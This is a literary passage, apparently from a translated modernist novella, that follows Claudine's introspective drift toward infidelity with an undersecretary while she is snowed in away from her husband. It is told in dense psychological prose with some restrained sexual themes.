She headed back and strolled through the streets of the town, restless, for maybe an hour or so. She turned down every lane, after a while returning along the same route, then left it again – passing to the other side of town – crossed squares, where she still felt the same uneasiness as she had minutes before; everywhere the feverish white shadow play of empty distance slid through this little hamlet cut off from the rest of the world. The houses were closed in by high barricades of snow; the air was clear and dry; it was still snowing, but only a sprinkle and in flat pitiful little splotches, as if it was about to stop. Every now and then, above closed doors, windows glistened light blue and crystalline upon the streets, and even underfoot it sounded like you were walking on glass. But sometimes a lump of frozen snow fell from a rain gutter; whereupon, for moments on end, it was as if the fallen lump had pierced a gaping wound in the silence. And then suddenly somewhere else a house wall started glowing pink or light yellow like a canary...Every step she took now seemed strange, looming larger than life; in the soft-footed silence, for a moment everything that lay there before her eyes seemed to repeat itself like an echo in another parallel perceptible reality. The next moment everything sank back into itself; the houses were arranged in indistinguishable lanes around her, like wild mushrooms clumped together, or like a bunch of low-lying shrubs on a broad swath of earth, and the sight of it made her feel dizzy. Something like a fire flared up in her, like a burning-bitter fluid, and walking along, lost in thought, she felt like an immense, secret receptacle of something being carried through the street, thin-walled and burning hot.
Then she tore up the letter to her husband and spoke until noon with the teachers at her daughter's school.
It was perfectly still inside; when peering out through the dark somber arches, the wide-open fields seemed so far away, so hushed, as if veiled with gray snow light. And the people looked strangely corporeal, bulky and burdened by their accented contours. She only spoke with them and heard them speak of the most impersonal matters, but sometimes even that was almost a commitment. It surprised her, seeing as she did not like the look of them, in none could she find a single attractive feature, every single one, in fact, repelled her by his lowlife look, and yet she sensed their masculine appeal, the lure of the other with what struck her as a never-before fathomed or long-forgotten clarity. She realized that it was the sharpened facial expressions in the dim light, the dull ordinariness of their looks, almost incomprehensibly elevated by their sheer ugliness, which like the odor of big burly cave creatures wafted about these people. And little by little she began to feel that old apprehension of helplessness come over her again, a hint of which had hit her again and again ever since she set out on the journey alone, and she was gripped by a strange sense of submissiveness that seemed to pursue her every which way she turned, in little inconsequential turns of phrase, in the over-attentive way in which she felt obliged to listen, in the very fact that she even stood there and took part in the conversation.
Then Claudine got antsy, feeling that she had already stuck around here too long, and found the semidarkness of the room to be stifling and unsettling. She was suddenly and for the first time struck by the thought that, never having been separated from her husband, no sooner was she alone than she might well already have begun to slip back into old ways.
What she now felt was no longer just a vague anxiety, but a sentiment linked to actual people. And yet it was not a fear of them per se, but rather a fear that they might get under her skin, as if while the utterances of these people had engulfed her, they had secretly moved and quietly shaken something in her; it was not a single decipherable feeling, but a grounding in which all her feelings were rooted – as when you sometimes pass through apartments that repel you, but little by little you are gently persuaded by the sense that people could be happy living in such a place, and then suddenly there comes a moment when it surrounds you, as if they and you were one and the same, and you feel hemmed in, closed in on every side, you want to jump, but stand quietly in the middle of it all...
In the gray light these black-bearded men flew in her face like big menacing tableaux ringed by dimly lit bubbles of malaise, and she tried to imagine what it must be like to feel this closing in around her. And while her thoughts sank quickly as in a soft, formlessly whirling quicksand, she soon only could hear a voice grown hoarse from smoking, the words embedded in a cloud of cigarette smoke, a voice that while speaking kept rubbing up against her face, and another voice, the latter light and high as a tin rooftop, and she tried to picture the broken timber of sexual arousal that would drag her down, then again clumsy movements twisted her affective self into curious convolutions, and an Olympic bauble of foolishness tried to coax her into feeling like a woman who believed in it...A strange something with which her true self had nothing whatsoever in common loomed large and threatened to pounce like some shaggy, vile-smelling creature; it felt as if all she wanted now was to lash out with a whip, and she suddenly froze, aware that she was hemmed in by a predictable spectrum of emotions playing themselves out on a face not unlike her own.
Then she thought to herself: _People like us could perhaps even live with people like that_...It gave her a strangely needling rush, a lingering brain twitch, covered by something like a thin pane of glass, against which her thoughts were painfully pressed, only to gape with an uncertain distress into the great beyond; it pleased her all the while, boldly and above suspicion, to look people in the eye. Then she tried to imagine herself estranged from her husband, as she might be perceived by strangers. She managed to quietly conjure him up; he remained a wonderful, incomparable person, but having forfeited the imponderable, a certain something her mind could not wrap itself around, he appeared pale and not that close; sometimes just prior to the onset of an illness you see the world with just such a cool, distant clarity. But then it struck her how strange it was that she should once have really experienced something of the sort she now toyed with, that there was a time when she would definitely have viewed her husband in this distant way as she now tried to do, without even giving it a second thought, and the entire situation suddenly seemed odd to her.
Every day you go walking among particular people or through a landscape, a city, past a certain house, and this landscape or these people always accompany you every step of the way, they're just there without wanting to be, day in, day out. But then all at once, they suddenly stop dead in their tracks with a start and just stand there incomprehensibly stiff and still, detached, in the grip of a strange, stubborn feeling. And when you look back at yourself there's a stranger standing there among them. Then there's the past. But what is that? Claudine asked herself, and looking up again, she was suddenly unable to say just what it was that might be different from before.
At that moment she also knew that nothing is simpler than to acknowledge that it is you yourself who has changed, and yet she began to feel a curious reluctance to accept this truth; and maybe, she pondered, we only really grasp the big, decisive connections in curiously inverted retrospect, whereas moments later she no longer fathomed the ease of her present estrangement from a past that was once as close as her own skin, and it seemed inconceivable that there might once have been anything other than the present, then she remembered how when a person sees something peculiar-looking in the distance, and then walks over, and at a certain point it enters the sphere of the familiar, but the spot where one stood before is now somehow meaningless; one only needs to imagine that yesterday I did this or that: any second is always like an abyss before which a sick, pallid man hesitates, a body just doesn't think about it – and all of a sudden in a lightning flash her entire life seemed to be riddled by this incomprehensible, unending infidelity, by which, while remaining the same for everyone else, one instantaneously separates from oneself without knowing why, all the while nevertheless sensing in it a last, never depleted tenderness beyond conscious reach, in the throes of which, more than with anything else, the person you are feels completely in touch with himself.
And while, with the full force of this feeling laid bare, the realization flickering into consciousness, it was as if the premise on which her life depended, like an orbiting certainty no longer held, and a hundred possibilities emerged, sliding like the stage sets of multiple life choices, one after another, amidst which, in a white, empty, restless room, the teachers cropped up like dark, uncertain bodies greeting her with their sinking, searching gaze, with their feet firmly planted on the ground before her. She took a peculiar, sad pleasure to be seated there before them, locked in the reserved stance and the unapproachable smile of a stranger from afar, incidental even to herself, separated from them by nothing but the folds of a reversible husk of accident and actuality. And while the hasty and empty words leapt from her lips, the conversation nimbly and lifelessly unraveling like the thread of a fallen spool, little by little she began to be troubled by the thought that if the orbit of one of these people closed around her what she did would be real, as if reality were just an insignificant something that occasionally burst forth through the indifferent loophole of a moment's lapse, and unable to get a hold of herself, she would be washed along in the lonesome, otherworldly whispering flood of the unfulfilled. Her sense of security, that fearful loving link to another, seemed at this moment like something random, nonessential, merely superfluous in comparison with that inkling of an intimate bond, beyond the reach of reason, of a last imponderable, lonesome, uneventful belonging together.
And that was what thrilled her when the undersecretary now suddenly crossed her mind. She fathomed that he desired her, and that what had heretofore been only a play of possibilities would take a turn for the real with him.
For an instant something made her shudder and flashed a warning; the word sodomy came to mind; should I commit sodomy...? But behind it lurked the temptation to challenge love: so that the being you are must feel it in the flesh, feel the self, the self sullied by a beast. The unimaginable. So that you, my beloved, can never again think of me as a hard and simple fact. So that as soon as you let go, I become unfathomable and all-encompassing like an illusion. Nothing but an illusion, so that you know that I only exist in you, through you, only as long as you hold me tight, nothing else, my beloved, while we lie with our limbs entwined...
And she was gripped by the quiet faithless sadness of intrigue, that melancholy that takes hold when you do something not for its own sake, but just to have done it. She sensed that the undersecretary was standing somewhere, waiting for her. It seemed to her that the constricted space around her face was already permeated with his breath, and the air around her took on his smell. She grew restless and started to take her leave of the teachers. She knew that she would approach him, and just imagining the moment, picturing where it would happen gave her a chill. It was as if something grabbed her and dragged her to a door, and she knew that this door would fall shut, and she resisted, all the while anticipating it on pins and needles.
When she and the man met up again, it no longer felt like they'd just gotten acquainted, but rather like the prelude to the start of something between them. She knew that in the meantime he, too, had thought of her and had put together a plan of action. She heard him say: "I understand why you rebuffed my advances, but never will anyone adore you as selflessly as I do." Claudine made no reply. His words were spoken slowly, emphatically; she felt their effect, if indeed they were realized.
Then she said: "Do you know for a fact that we are really snowed in?" It all seemed to her as if she had already experienced it; her words seemed to get stuck in the tracks of words she must already have uttered some time before. She did not remain mindful of what she did, but rather of the tenuous difference between her present actions and something similar that happened in the past; the same capricious, come-what-may soupçon of what lay ahead. And she had a powerful, dispassionate intimation of herself, like little waves rolling again and again over the past and present.
After a while the undersecretary suddenly said: "I can sense that something in you is hesitating. I know that hesitation. Every woman faces it at some point in her life. You cherish your husband and no doubt don't want to hurt him and therefore close yourself off. But as you must know, there are moments in life when you've got to let go to give free rein to the great storm of emotion."
Again Claudine said nothing. She sensed how he must misconstrue her silence, but she found the ambiguity strangely beguiling. That there was something in her that did not translate and so remained immune to the effect of her actions, something for which she could make no excuses, since it lay beneath the reach of words, something which in order to be fathomed had to be loved, as it loved itself, something she shared only with her husband – this she felt all the more poignantly in her silence; it was the consummation of an intimate tie with him deep inside herself, while surrendering her superfluous self to this stranger who shamelessly mishandled her.
In this way they went walking and talking with each other. And she sensed herself bending over, feeling faint, as if in the process grasping all the more profoundly the wondrous unfathomable bond of belonging to her beloved. Sometimes it seemed to her that she had already modified her demeanor to suit her present companion, even if on the outside she appeared the same, and it sometimes seemed as if pleasantries, fancies, and gestures were reawakened from her young womanhood, things she had long since thought herself to have outgrown; then he said: "Dear lady, you are divine."
As he spoke in this way and walked beside her, it struck her that his words streamed forth into a completely empty space which they alone filled with nothing but their own murmurings. And little by little, houses cropped up in their path, a bit off kilter and distended, as if reflected in window panes, as was the lane down which they walked, and a little while later they too took on a somewhat skewed allure, but in a way that still left them recognizable. She felt the power that emanates from perfectly ordinary people, a force that engenders an unnoticeable dislocation of the world as we plow into it; he exuded a simple vitality that twisted the surface of things. It confused her to catch sight of herself in this elusive mirror-like flux; it seemed to her that if she even let down her guard a little, this mirror image would completely take hold of her. And then all of a sudden he said: "Believe me, it's all just a matter of habit. If at seventeen or eighteen – at whatever age – you had met and married another man, you would find it equally difficult to conceive of yourself as the wife of your present husband."
They arrived before the church, lone souls standing tall on the wide open square; Claudine looked up, the undersecretary's gesticulations reached out into the emptiness. Then all at once it felt for a fleeting instant as if a thousand crystals attached to her body bristled in the icy air; a toppled, restless, fractured twilight emanated from her torso, and the man looked suddenly different in its glow, every line of perspective converged on her, fluttering like her heart, from deep inside she felt his every gesture grazing the surface of her skin. She wanted to cry out, better be careful, but the urge never took shape, like a lawless, never quite crystallized inclination it wavered in her breast, as if it had nothing to do with her.
The next moment she was nothing but a dissolving light fog of emotions. She looked around her; the houses stood silent and straight on the square, the great clock sounded in the belfry. Each stroke of the clock sounded round and metallic emanating from the hatches in the four walls, dissolving as it fell and fluttered against the rooftops. Claudine imagined that each stroke of the clock must then surely resound far and wide, rolling over the open fields, and she suddenly shuddered at the thought: voices travel through the world, towering and heavy like booming cities of iron, something beyond the ken of reason...a sovereign, intangible realm of feeling that only randomly, haphazardly, and silently melds with mundane reason, like those bottomless soft wells of darkness that sometimes shroud a stark, shadowless sky.
It was as if something were standing around with its gaze fastened upon her. She felt the man's arousal like something surging and breaking in a distance devoid of meaning, a dark something battering alone against itself. And more and more it seemed to her as if what this person desired from her, this seemingly so intense act, were in fact something altogether impersonal; it amounted to nothing more than being looked at, plain and simple, like strange spots studying each other in space that something impalpable unites into a tenuous entity. She shrank back beneath the thought of it, allowing herself to be squeezed together as if she herself were such a spot. It gave her a curious sense of self, having nothing more to do with mindfulness and freely willed actions, and yet at the same time everything was pretty much the same as usual. And then suddenly she lost sight of the fact that this person standing there before her had a hideously commonplace spirit. And it felt as though she were standing out in the open, far from everything, surrounded by those sounds swirling in the air and the still clouds overhead, his utterances digging deep into her here and now, and she were nothing more than the sum total of these stimuli, tugging, reverberating...she felt at that moment that she fathomed the love of animals...and of the clouds and the murmurings of nature. And she sensed the eyes of the undersecretary searching for hers...and took fright and badly wanted to get a hold of herself, and suddenly felt her clothes covering the last remaining shreds of tenderness, and her blood pulsing beneath, convinced she could sniff out his sharp, quavering scent, herself reduced to nothing but this body she was to surrender, and this most immaterial, transcendent sense of soul linking her to him – this last burst of bliss – and did not know at that moment: was she about to gamble all her love, or had it already faded, with her senses flung open like curious windows?
Later she sat in the dining room. It was evening. She felt alone. A woman called over to her: "This afternoon I saw your little daughter waiting for you, such an enchanting child, you must surely take great pleasure in her." Claudine had not gone back to the school that day, but she was unable to answer, she suddenly felt as if her only contact with these people were with some insensate part of her herself, her hair or her fingernails, or as if her body were ringed by an animal's horn. Then some words did finally spill from her mouth, and it seemed to her that everything she said somehow dropped in a pouch or got tangled up in nets; her own words sounded strange swimming among strange syllables, like fish flouncing against the cold damp bodies of other fish in the indecipherable whirlpool of opinions.
She was gripped by disgust. Again she felt that it did not so much matter what people say of themselves, what they manage to put into words, but rather that any real revelation was conveyed in altogether different ways – a smile, a lapse into silence, an ear turned inward to the secret murmurings of self. And she suddenly felt an inexpressible longing for the one other person, lonesome like her, whom no one else here would understand, and who possessed nothing but that soft tenderness infused with transient images, which like a foggy fever envelop the hard thud of things, dispensing with all external occurrences as flat, muffled irrelevancies, while inside everything hovered in an eternal, secret, all-encompassing equilibrium of self.
Yet while ordinarily, when she was in such a mood, a room pulsing with people would have curled itself around her like a hot, swirling mass of strangeness, she was struck here every now and then by a clandestine stillness and release and a kind of hopping in place. Gruffly rebuffing her. A cabinet, a table. Something went awry in her rapport with these ordinary things, they revealed something uncertain and wavering. Again she sensed the same ugliness as on her train trip here, no run-of-the-mill ugliness, but rather like a hand reaching out to her through these things, its fingers wanting to grab hold. Rifts opened in the stormy path of her feeling, as if – ever since that last trace of certainty languorously began to gape back at itself – something had loosened in her emotional grasp of the ordinarily indiscernible arrangement of things, and instead of a chained chime of impressions, because of these disruptions in the emotional norm the world sounded around her like an endless noise.
She felt it stirring something up in her, like when you walk by the seashore, unable to fully fathom the roar of every action and every thought torn in the fabric of the moment, and little by little she was gripped by a mounting uncertainty and a slowly growing inability to denote and sense the boundaries of self, a self dissolution – an urge to cry out, a longing for immeasurable movements, the rootless desire to do something unending, just to force yourself to feel; there was a sucking, lip smacking, devastating delight in getting lost, every second pulsing like a wild, irresponsible lonesome lust, devoid of memory, foolish and free. And it wrenched words and gestures from somewhere inside that flew by and yet remained a part of her, and seated there beside her, listening, the undersecretary was forced to fathom that what she said and did, all the words coming at him bore hidden traces of her beloved, and soon she saw nothing but the neverending rise and fall of his beard, the bobbing beard of a repulsive billy goat ceaselessly chewing, spitting out a whispered soporific stream of words.
She felt so sorry for herself, all the while weighed down by a humming dread that all this could be happening again. The undersecretary said: "I can tell by looking at you that you are one of those women destined to be swept away by a storm of emotions. You are proud and want to hide it; but believe me, a connoisseur of the female soul can see right through your façade of resistance." It was as if without skipping a heartbeat she sank back into her past. But when she looked around her she felt a certain randomness in this sinking into the sea of the soul, like currents of time stacked one on top of another, a randomness not in the appearance of the things around her, but rather in that this appearance held fast, as if inseparable from the thing itself, unnaturally clawed into the skin of the moment, like a fleeting feeling that refuses to let go of a face. And strange as it may seem, it was as if, a link having broken in the quiet course of occurrence, disturbing the ordinary succession of things and sending them flying out of lock step, little by little all faces and things congealed into a sudden, haphazard composite expression that cut obliquely across the apparent chaos, imposing a new order. And she alone slipped with faltering unfurled senses between these faces and things – downwards – into the deep.
For a moment, the great painstakingly plated emotional braid of her being became apparent, fluttering in the distance, like a pallid, practically worthless backdrop to reality. She thought to herself, you draw a line in the sand, any old unbroken line, just to have something to hold onto in the swarm of silently looming things; that is the stuff of our life; like when you keep speaking nonstop, pretending that each word is somehow ineluctably linked to the one before and automatically generates the next, because you fear the moment you allow silence to strip off the pretense of continuity the flimsy construct of self will falter in some unimaginable way and be dissolved by silence; but it is only your fear, your frailty before the terrible, gaping randomness of it all.
Then the undersecretary said: "It is a matter of destiny, there are some men whose destiny it is to stir unrest, you've got to open your heart, there's nothing you can do to stop it..." But she hardly heard his words. Her thoughts, meanwhile, contradicted each other. She wanted with one great, unguarded gesture to break the grip of desire and fling herself at the feet of her beloved; she felt that it was still possible. But something compelled her to submit to that screaming frenzy; to face the flow so as not to dissolve in it, to hold her life tightly pressed against her so as not to lose it, to sing out so as not to suddenly fall silent without a clue. She didn't want to. A pensive, muttered hesitation hovered before her. Not to scream like all the others, so as not to fathom the silence. Not to sing out either. Just a whisper, falling silent,...nothing more, nothing but emptiness...
And then came a slow, soundless, sliding forward, a bending over, the undersecretary said: "Don't you just love the theater? What I love in art is the finesse of the happy ending that consoles us for the dreariness of the mundane. Life disappoints, it so often falls flat in the final act. But wouldn't that just be a dull display of naturalism...?"
She suddenly heard it close-up and clear. And then somewhere there was that hand, a tenuous, intrusive warmth, a consciousness: You, – but then she let go of herself, filled with a certainty, still to serve as the last link to each other, without a word, unbelieving, intertwined like a gossamer web of deathly sweetness, like a fantastic foretaste of an as yet undiscovered flavor, each of them a tone that only rings true in the soul of the other, nowhere if the soul's not listening.
The undersecretary drew himself to his full height, looked her in the eye. She suddenly felt herself standing there before him, and far from her that one beloved person; whatever he might be thinking, it struck her that she could not know what it was; meanwhile an uncharted feeling stirred inside her sheltered by the darkness of her body. At that instant she perceived its physical grip encompassing all that she felt, exerting an obscure restraint like the hold of a homeland. All at once she felt more vividly than anything else his overbearing sense of self closing in around her, like an inescapable treachery intruding between her and her beloved, and like something sinking down upon her, taking her unawares, a thing she had never before experienced, it was as if she were communing with her grasp of last conjugal fidelity – which she preserved inside her – in an uncanny tangle with the innermost recess of contradiction.
Maybe it was nothing but the desire to surrender this body to her beloved, but quavering through and through with the profound uncertainty of right and wrong, it took hold in the form of desire for that stranger, and while she pondered the possibility that even if in her body she were to suffer the self-destructive, through him sounding her own depths, and shuddered at his stealthy knack for sidestepping every moral decision as if before something dark and empty, entrapping its victim in the prison of self, her body clamored with a bitter bliss to shove him away, all the while feeling defenseless in her carnal surrender, held down by a stranger, and as if carved up by knives, longing with dread and disgust and violent involuntary spasms to let herself be filled with it – just to feel it like a trust, open to every last drop of truthfulness about this nothing, this wavering, this amorphous all, imbued with this sickly certainty of the soul like the rim of a divine wound, engaged in a futile search for the other in the gnawing pains of that endlessly renewed desire to meld and merge.
Like a light illuminating delicate blood vessels, this longing for the death of her love arose amidst a tangle of thoughts out of the pending darkness of passing time, gradually engulfing her. And once all of a sudden she heard herself whisper in fulgent unhampered reply, as if only now fathoming what the undersecretary suggested: "I don't know if he could take it."
For the first time she spoke of her husband; she was startled, it didn't seem to be a part of reality; but already she felt the unstoppable force of the word escaping into life. Hastening to reply, the undersecretary said: "Do you really love him?" Full well aware of the ridiculousness of the supposed certainty of his jab, she said: "No, no, I don't really love him at all." Trembling and decided.
Once she was back up in her room she hardly still fathomed their interchange, feeling all the while the veiled, incomprehensible allure of her lie. She thought of her husband; occasionally a faint glimmer of him flared up in her, like when from outside in the street you peer into a lighted window; which is what first made her fathom what she was doing. He looked handsome, she wanted to stand by him, then the light also flashed inside herself. But she ducked back into her lie, and then she was standing outside again in the street in the dark. She felt a chill; it hurt to be alive; everything that she saw, every breath she took added to the pain. Enveloped by that feeling for her husband, as if by a warm, luminous sphere she could slip back into at will, it made her feel safe, all the things floating in the sea of night didn't jab at her like sharp ship's prows, they were softly intercepted, hemmed in. And she didn't want to.
She remembered that she had lied once before. Not back then, because it was never a lie back then, it was just her. But one time, even though it was the truth, just when she said she had gone walking in the evening, for two hours, it was a lie; it suddenly struck her that that was the first time in a long while she had lied. Just like it was before when she had sat among the people in the dining room, that other time she went walking through the streets, wandering aimlessly, jumpy like a lost dog, and looked into the houses; and in some place or other a man opened a door for a woman with an amiable mean, his expression and manner indicating that he was glad; and someplace else a man went on a visit with his wife, a perfectly worthy pair, rock solid couple; and every which way she looked, as in a wide, calm, all-encompassing body of water, there were little whirling eddies with rings around them, an inwards-turned motion that somewhere suddenly, blindly, unframed by windowpane, bordered on indifference; and inside, at every turn, there was this sense of being suspended in the grip of your own echo in a cramped room, every word ensnared and drawled into the next word, so that you don't hear the unacceptable – the gap, the chasm between the clash of two actions, in which you shrink back from a feeling of self, sinking somewhere into the silence between two words that could just as well be the silence between the words of a completely different person.
And then it struck her in a secret corner of her heart: somewhere among these people lives a person, someone who doesn't fit in, someone else, someone to whom the others might have grown accustomed, and no one will ever have an inkling of the self you are today. Since feelings only exist in a long chain of other feelings, linked to each other, all that matters is that one moment in life be linked without a gap to another, and there are a hundred ways this might happen. And then for the first time since falling in love she was struck by the thought: it's all a matter of happenstance; by some coincidence it became a reality and then you hold on tight. And for the first time she sounded her emotional depths, and felt this last hold, this root, this disturbance of the absolute, this faceless feeling of herself enveloped in her love, a feeling to which she had always in the past lay claim, and that had made her the same as everyone else. And then it was as if she had to let herself sink back into the elemental, into the unrealized, nowhere at home, and she ran through the sadness of the empty streets and peered into the windows of the houses, wanting no other company than the clip clop of her heels on the cobble stones, just to hear herself running, reduced to a mere living entity, the sound sometimes leading, sometimes lagging behind.
But whereas back then she only fathomed the moldering underbelly, the perennially moving backdrop of unrealized shadows of feeling, before which every effort to hold it together was rebuffed, the debasement, life's unsolved riddles without rhyme or reason, befuddled and fatigued, and almost driven to tears at the fix in which she found herself – now that at this very moment she was reminded of the intimate tie frayed to the root in this gauzy, shimmering, thin vulnerability of those essential conceits: the darkly dreaming constraint of only existing through the other, the isolating solitude of not daring to awaken out of its grip, this intangibility of love like something slipping between two mirrors behind which you can sense the void, and here in this room she felt herself hiding behind her false confession as if behind a mask, awaiting the advances of another, the wondrous, perilous, arousing essence of the lie – furtively unfurling into a heretofore avoided realm the other can no longer reach, the dissolution of solitude, for the sake of absolute honesty, hazarding the void that sometimes, for a fleeting instant, looms behind the ideal.
And all at once she heard furtive steps, a creaking of the stairs, the sound of standing still; a quiet, creaking pause in the hall outside her door.
Her eyes turned to the entrance; it seemed odd to her that a body could be standing behind these thin boards; all she felt was a detached indifference, the randomness of this door on both sides of which tensions mounted, each unfathomable to the other.
She had already undressed. On the chair before the bed lay her skirt and slip exactly as she had just peeled them off. The air in this room, rented one day to one body and the next day to another, was infused with her own scent of self. She noticed a brass lock hanging lopsided from a dresser, her gaze rested on a small, tattered rug trodden by countless feet lying before her bed. She suddenly thought of the odor that emanated from and seeped back into the soles of so many strangers' feet, a cozy, comforting smell, like that of your parents' house. It was a curious, double-edged, shimmering impression, both strange and disgusting and yet irresistible, as if the amour-propre of all these people had filled the fibers of that rug leaving room for nothing but receptive notice. And still that person stood outside the door, emitting only little, involuntary sounds.
She was gripped by the sudden urge to fling herself onto that carpet to kiss the disgusting traces of all those feet, and like a snuffling bitch to fire herself up with the scent. It wasn't a voluptuous whim, but rather simply something in her that howled like a wind or cried like a child. All of a sudden she knelt down, the rug's stiffly knotted tufts loomed incomprehensibly tall before her eyes, she saw her heavy, female thighs hideously bent over it like something completely senseless and yet infused with an incomprehensible solemnity, her hands faced off on the ground like two five-limbed animals, she suddenly thought of the streetlight outside flinging its awful silent rings of light on the ceiling, of those bare walls, the emptiness, and then she thought again of the person standing there, sometimes budging, creaking like a tree beneath its bark, his surging blood and head of bushy foliage; while she lay here, separated only by a door, nevertheless somehow sensing the full sweetness of her ripe body with what was left of the lingering fortitude of her soul, immovable and perfectly intact, a mainstay of self that survives even the disfiguring scars of serious accident, carried away with that heavy, constant awareness as of a fallen animal.
Then she listened intently as the person departed. And still feeling torn out of herself, she suddenly fathomed that this was infidelity; more pernicious than the lie.
Slowly she rose to her knees. She considered the inconceivable, that it might very well have come to pass just now, and trembled, as you do when it is only a matter of chance that saves you from a peril you are powerless to resist. And she tried to think it through. Picturing her body lying under that of the stranger, with a piercing imaginative clarity like a minuscule blood clot infusing every last little thing, she felt herself growing pale, and the blushing words of voluptuous surrender, and the eyes of the man upon her, standing over her holding her down, his legs spread wide, eyes bristling with the piercing gaze of a bird of prey. And thinking all the while: this is infidelity. And it came to mind that when she returned from this one to her beloved, he would surely say: I can't feel you deep inside, and she would only be able to reply with an evasive smile, a smile: believe me, it had nothing to do with us, and yet at that very moment she felt her knees pointlessly pressed against the ground, like an extraneous object, and felt herself through it, impenetrable, consumed by that woeful unprotected fragility of her innermost human potential that no word can capture, no return to normal can redress and chalk up to just another one of life's contingencies. Drained of thoughts, no longer knowing if she had done wrong, she felt consumed by a strange, lonesome ache. An ache that hung like a space around her, a dissolved, floating space, dense like a soft darkness quietly rising around her. Lingering under the ache, fading little by little, a bright, clear, indifferent light shone on everything she did, the most intense and wrenching expression of her overpowering, dredged up and surrendered from that supposed precinct of self called soul...shriveled up, minuscule, cold, disassociated from mind, somewhere far, far below...
And a long while later it seemed as if a cautious finger were once again groping for the latch, and she knew the stranger was standing listening outside her door. She felt dizzy with the desire to crawl to the door and unlock it.
But she remained lying there on the floor in the middle of the room; something again held her back, an ugly feeling about herself, a feeling like before, like the stroke of a knife the thought gutted her longings that it might simply be a relapse into her past practices. And suddenly she raised and folded her hands: Help me, my dearest, please help me! She felt it like the prick of the truth, even though it was nothing really but the soft backstroke of a lingering thought: we came together through time and space, and now I penetrate your trust in painful ways.
And then came the serenity, the distance. The rush of the painfully amassed fortitude once the wall of resistance gave way. Her life lay there before her like a still reflection in a pool of water, past and future side by side on the crest of the moment. There are things you can never do, you don't know why, maybe they're the most important; you know your life is burdened with a terrible trepidation, a stiff constraint, like fingers crippled by the frost. And sometime it dissolves, like ice melting on the meadow, your thoughts turned inward, a dark burst of brilliance spreading out in the distance. But oblivious to it all, your life, your brittle life, the life that really matters gets snagged and sidetracked, link by link, and you don't do a thing.
Suddenly she rose upright, and the compulsion that she had to do it drove her silently forward; her hands released the latch. But all was still, no one knocked. She opened the door and looked out; nobody there, the bare walls gaped back in the dim lamplight. She must not have heard him go.
She lay down, riddled with self-reproach. Already on the edge of sleep, she sensed: I'm hurting you, yet strangely convinced: all that I do, you do. Already lulled into somnolent forgetting, we let go of all there is to let go only to entangle ourselves all the more tightly in the part that no one can touch. And just once torn wide awake for a fleeting instant, she thought: This person is going to defeat us. But what is defeat? And her musings drifted dreamily around the question. Her guilty consciousness lingered like the last attendant tug of tenderness. A great, dark clambering for self fell upon her as upon someone about to die, behind her closed eyelids she saw bushes, clouds and birds flying by, and felt herself like a fleeting nothing, even though it was all only there for her. And then came a moment of closing off and shutting out everything extraneous to herself, and there at the tenuous borderline between wakefulness and sleep came a great, pure, all-embracing intimation of love. A trembling dissolution of all seeming contradictions.
The undersecretary did not come again; so she fell asleep, peacefully, with the unlocked door, like a tree standing prone in the meadow.
The following morning heralded a mild, mysterious day. She awakened as if behind bright curtains that hold off the reality of light. She went for a stroll, the undersecretary accompanied her. There was something wobbly in her walk, as if inebriated by the blueness of the air and the whiteness of the snow. They came to the edge of town and peered in the distance, the white surface sparkled with a certain festive air.
They stood beside a fence that closed off a little country road, a peasant woman strewed feed for the chickens, a little fleck of yellow moss glistened brightly against the sky. "How long, do you think..." asked Claudine, looking back down the lane into the light blue air, not finishing her sentence, and adding after a while: "how long do you think that wreath will go on hanging over there? I wonder if the air embraces it? How does it live?" She said nothing else, and didn't even know why she had said what she did; the undersecretary smiled. It seemed to her as if everything were incised in metal and still quivering under the pressure of the stylus. She stood beside this man, and as she sensed him looking her over, whatever it was that struck his fancy, something complied in her inner self and lay bright and wide like a field under the gaze of a circling bird.
This life, all blue and dark and with a little yellow fleck...what does it really want? This cluck of chickens and quiet rustle of spilling feed through which life suddenly passes like a clock striking the hour,...for whose ears does it sound? This wordless flux that eats its way into the distance and only from time to time, channeled through the narrow hiatus of a few seconds, flares up into a fleeting something, and otherwise lies fallow...what is it up to? She looked it all over with a silent gaze and sensed the things without thinking them, the way hands sometimes remain resting on a brow when there's nothing more to say.
And then she only still listened with a smile. The undersecretary thought he had managed to meticulously draw the threads of his web more tightly around her to pull her toward him, she let him have his way. As he talked, it was for her as if she were walking between houses in which people are talking, and in the fabric of her thinking at times another train of thought got tangled up, tugging her thoughts along with it in that direction, over there, she gladly following, then for a time quietly sinking back into herself, still half attentive – it felt like a quiet, confused entrapment.
And all the while she sensed, as if it were her own feeling, how much the man loved himself. Imagining his tenderness toward himself stirred a quiet arousal in her. A silence swelled around desire, as if entering a realm in which someone else's quiet decisions take vicarious precedence over your own. She felt herself forced by the undersecretary and felt herself conceding, but that's not what bothered her. Something just sat there in her like a bird sitting on a branch and singing.
She had a light meal that evening and went to bed early. All the inner turmoil had already died down a little, the sensual thrill had worn off. Nevertheless, she awakened after a short slumber, aware that he was seated downstairs and waited. She grabbed her clothes and got dressed, nothing more; no feeling, no thought, just a distant inkling of wrongdoing, perhaps also as she finished getting ready, a naked, not sufficiently checked burst of raw emotion. So she came down. The room was empty, table and chairs stood there a bit like inanimate night watchmen. In a corner sat the undersecretary.
She muttered something or other, maybe something like: I feel so alone upstairs; she knew in what way he would misunderstand. After a while he took hold of her hand; she got up. Hesitated. Then she ran out. She felt herself acting like a dumb little broad and it gave her a rise. On the stairs she heard footsteps following behind, conjuring up the specter of a distant, abstract menace that made her body tremble like an animal being stalked in the woods.
Then, once he was seated in her room, the undersecretary said in passing: "You love me, don't you? I may not be an artist or a philosopher, but I'm all there, I think, all there." To which she replied: "What do you mean by all there?"
"What a peculiar question," the undersecretary got flustered, but she said: "I didn't mean it that way, what I meant was how strange that one should like someone just because one likes him, his eyes, his tongue, not the words, but the sound itself..."
Then the undersecretary kissed her: "So do you love me?"
And Claudine still found the strength to retort: "No, I love the fact that I'm with you, the coincidence of being here with you. I could just as well be seated among the Eskimos. In fur pants. And have long pendulous breasts. And find that attractive. Are there not plenty of other people all there in this world?"
But the undersecretary said: "You're wrong. You love me. You just can't justify it to yourself and that precisely is the proof of true passion."
Instinctively, just as she felt him looming over her, something in her drew back. But he said: "Do be quiet!"
And Claudine kept quiet; only once more did she speak; while they were undressing; she started rambling, incongruously, perhaps senselessly, it was really nothing more than a pained aside: "...it's like walking along a narrow trail; animals, people, flowers, everything changes; you yourself become altogether different. You ask yourself: if I'd been living here from the start, what would I think about this, how would I feel it? How strange that all you have to do is cross a line. I'd like to kiss you and then leap right back and look; and then kiss you again. And every time I cross that line I'd have to feel it more distinctly. I'd grow ever more pale; the people would die around me, no, just shrivel up; and the trees and animals too. And all that there'd be left in the end would be a thin trail of smoke...and then nothing but a melody...passing through thin air...trailing over the emptiness..."
